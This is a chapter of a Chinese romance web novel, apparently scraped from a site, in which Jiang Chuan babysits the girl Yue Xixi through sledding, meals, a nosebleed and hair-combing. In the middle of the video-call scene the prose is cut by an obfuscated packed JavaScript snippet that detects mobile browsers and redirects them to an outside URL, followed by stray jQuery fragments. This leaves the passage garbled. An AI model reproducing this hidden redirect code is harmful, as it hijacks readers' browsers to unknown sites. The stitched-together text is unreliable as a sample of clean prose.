往凉亭前方再走几步,是山体雪道的起点。姜川在工作间取出一个蓝色滑雪车,摆在雪道上,他先坐上去,双腿分开,示意月西西坐到他身前的位置。
月西西抱着猫坐好后,姜川长臂一伸,将她整个人圈在怀中,“准备好了没?3、2、1。”
随着倒计时,滑雪车沿雪道平稳下滑,车身稳稳贴住雪面,几乎没有颠簸。只有风从耳边疾速掠过,带着冬日清冽的寒意。
雪车一路滑到雪道尽头,才缓缓停下。
姜川笑着问:“好玩吗?”
月西西没半点反应。
姜川捏捏她脸颊,低声笑,“呆呆的。”
如风和慢慢兴冲冲地从远处跑来,远远瞧见月西西怀中的雪山,如风脚步猛停,一个滑铲就往后撤。雪山气势汹汹向如风扑去,追上后便是一顿连环猫猫拳。慢慢跟在雪山身后,急得团团转,想劝架又不敢上前。
夕阳悬在山头,懒洋洋洒下橙黄余晖,淡澄色积雪上一阵猫飞狗跳,激起无数雪沫,洒金般漫天飞舞。
姜川团一个雪球,放在干净平整的雪面上滚动,滚成一个半人高的雪球,将表面修整圆滑。又如法炮制滚出一个略小的雪球,搬到大雪球顶端固定好。
从雪中翻出几根干枯树枝,折成适当尺寸,插在雪球上当作手臂。从兜里掏出一根胡萝卜两颗玻璃球,当作眼睛和鼻子。
做好一切,姜川手撑在雪人头顶上,向月西西展示成果。
“怎么样?大不大?一个顶你一百个小雪人。”
他第一次见她,她就在堆雪人,想来是极喜欢的。眼前这个和她差不多高的大雪人,应该更喜欢了吧!
月西西站在雪人前不语,雪人同她一般高,两颗明亮的玻璃珠眼睛几乎和她对视。
她抬手,将要解下围巾。
发觉她的意图,姜川急忙阻止,“等等,用我的,你的就好好围着,可别冻感冒了,秦已闲要找我麻烦。”
说着,姜川解下自己的黑色围巾,系在雪人脖子上。
晚上,庄园厨师做好饭菜。根据秦已闲的吩咐,菜量加了一倍,有荤有素,鲜香得宜。
月西西入座,她的饭碗旁只有一双乌木筷,她探着脑袋寻找勺子,最后在盛汤的锅中取出骨瓷描金大汤勺,搁在自己碗里,虽然大了点,但也能用。
姜川:“?”看不懂,但尊重。
月西西握住汤勺柄,舀起半碗米饭就往嘴里送。
姜川:“……”这下没法尊重了。
月西西吃一口米饭,看向姜川。
姜川起身抽掉她手中的大汤勺,把筷子平放到她碗上。
月西西看一眼筷子,抬手去够汤勺。
姜川坐到她旁边的位置,扒开她的手,塞进筷子,把手指一根根摆成正确握筷姿势。
月西西拒不配合,一旦姜川放开她的手,她便会松开筷子。
姜川握住她纤细手腕,语气沉了下来:“学不会用筷子,不准吃饭。”他可不会像秦已闲那样惯着她。
月西西手腕被攥得动弹不得,干脆“啪”一声把筷子摔在桌上,固执地压着手臂去捞汤勺。
姜川反方向用力阻止她。
两人就这样僵持十多秒,月西西突然卸力,握起拳头,顺着姜川力度的方向抬胳膊,食指骨节狠狠撞到姜川鼻梁上。
姜川瞬间眼冒金星,疼痛在大脑炸开,他猛地站起来,捂住鼻子,座椅“哐”的倒地。
“wo!……”第二字将要吐出口时,记起秦已闲的嘱托,‘不准在她面前说任何负面词汇’,姜川咬牙切齿把后一个字吞进腹中。
这丫头是故意的,握起小拳头用食指骨节最坚硬的地方痛击他鼻梁。
姜川后退几步,摸摸鼻腔下方,摸到一点鲜红的鼻血。
这个小坏蛋!脑袋空空,但是会使坏!
姜川迈着虚浮的步子去客厅找到医疗箱,捏起一团医疗棉花塞进鼻腔中。一个机械表的寄养费不够,等秦已闲回来,他得再去要一个。深吸几口气,姜川心情平复下来,他真是低估了这女孩的杀伤力。
回到餐厅时,月西西举着右手,每根手指都按在正确的位置握住筷子,在空中做出夹东西的动作。
“噢!你学会了……”姜川克制住称赞的语气,刚被打完,可不能再给她脸。
月西西看他一眼,转头兀自开始吃饭。
姜川单手虚拢住鼻子,坐到她对面,看她夹一筷子菜,放在米饭上,垫一点米饭,吞入口中细细咀嚼,一套动作行云流水,腮帮子微鼓,吃起饭来像小松鼠。
吃完一碗,她捧住碗举到姜川面前。
姜川起身给她盛米饭,发现她吃得很干净,碗底一粒米也没剩。
吃饭干净这一点倒是很乖。
月西西一鼓作气连吃三碗,桌上菜量少了大半,又捧着碗给姜川。
姜川轻摸鼻梁,“……”秦已闲确定,这只是比一般女生饭量大、一、点、吗?
鼻腔一阵阵酸痛传到大脑,他忍住疼痛,给月西西夹菜、盛饭、去刺、剔骨,姜川只觉得自己命苦。
伺候完女孩吃饭,目送月西□□自回房间。
姜川捞起钥匙,驱车去附近医院的急诊,拍片确认鼻梁有无骨折。
他拍下一张新鲜出炉的CT图片发给秦已闲,【我被你家孩子打了】
秦已闲秒回。
【怎么可能,她很乖。】
【你惹她了?】
【你对她做了什么?】
面对秦已闲三连击,姜川再三确认他发出去的信息是【他被打了】而不是【孩子被他打了】。
姜川发过去一张照片,是月西西用筷子吃饭的照片,照片中月西西腮帮子微鼓,眼睛全放在饭菜上,专心致志吃饭。
秦已闲:【她学会使用筷子了?真聪明。】
姜川心中只有一个想法,慈父多败女啊,难怪养了这么久也没教会用筷子。
月西西洗完澡,抱着兔子趴在被窝里,闭上眼睛准备入睡。手机突然震动起来,捡起来一看,是视频通话邀请,她点击绿色的接通键。
屏幕上显示出秦已闲的脸,他那边是白天。
“准备睡觉了吗?”秦已闲的声音隔着远洋和电流传来,有一点失真,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484839|201943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“今天玩得开心吗?”
月西西手指轻轻抚摸屏幕中秦已闲的脸,眼皮越来越沉,扶着手机的手卸力,手机翻盖到床单上,失去影像。
挂断通话,秦已闲给姜川发消息,【记得把第二天的衣服放到她床尾。】
姜川返回望川山居,轻手轻脚走进月西西卧室,床上女孩呼吸绵长、睡得安稳。他在行李箱里摆弄一阵,搭配了几身,挑选出最中意的一套,整齐叠放到床尾。做好这一切,姜川隐约察觉到有人盯着自己。
猛然抬头,床上月西西睁着双眼,面无表情的看着他。
床头小夜灯光线昏暗,她的眼睛却格外明亮,像黑夜里锁定猎物的狩猎者。
她什么时候苏醒的?
被这双不含感情的眼睛盯着,姜川后背发凉,他举起双手,“因为不是秦已闲的味道,才醒来的吗?放心,我只是来放下衣服,其他的我可什么都不敢做。”两根食指掉转方向指向门口,“我,马上离开,马上离开。”
姜川轻轻关上房门,仍心有余悸,这小孩,怪得很。
翌日清晨,如风在月西西卧室门口踌躇,两只前爪焦虑的交错抬起,嘴里低声哼叫,时不时回头用求助的目光看向站在楼梯口的主人。姜川双手抱胸,神情严肃的朝它抬下巴。
月西西打开房门,穿戴整齐,只是头发乱糟糟。
姜川才想起,还要帮小孩梳头发!
安静的房间,月西西坐在梳妆台前,双手交握,拇指缓慢摩挲另一只拇指。
姜川费了些时间才绑好月西西的马尾,甚至不小心拔掉她几根头发,希望她不会记仇。看着后脑勺上歪歪扭扭的马尾,姜川很满意。
镜中,月西西表情淡淡的,不知在想什么。
“怎么样,我扎的也不错吧?”姜川对镜,捏捏月西西柔软滑腻的脸颊,询问对方是否满意自己的成果。
月西西抬手,撸下发圈,扔在梳妆台上,捞起围巾和外套就往卧室外走。
姜川:“……”
还能表现得再嫌弃一点吗?
姜川拾起发圈箍到自己手腕上,改天他去买个人模和假发,每天练习,练个十天半个月,不信还会被嫌弃。
不过话又说回来,她以前的头发都是秦已闲梳的吗?昨天月西西玩雪玩到头发散乱,他拆掉她头上大马尾的皮筋,费了些时间才梳理好从耳侧扎起的小麻花辫。
谁成想呢,秦已闲这人前衣冠楚楚、儒雅稳重,背后整天想着给女孩子扎小辫、洗内裤。
姜川一路小跑到月西西前面,给她带路,“走,带你去我的温室摘水果。”
温室位于辅楼后方,面积约两亩,种植各类蔬菜、水果和鲜花。
姜川从工具间找出一个干净的藤编小篮子,交给月西西。
月西西摘下一颗圣女果,张嘴就往嘴里塞。
姜川掐住她腮帮子,手指指进去把咬成两半的圣女果抠出来,“洗过再吃,表面有农药和灰尘!虽然低毒,吃掉一点也要肝脏熬夜工作。”
月西西舌尖把嚼成两半的圣女果顶出去,然后一口咬住姜川手指。
“啊!”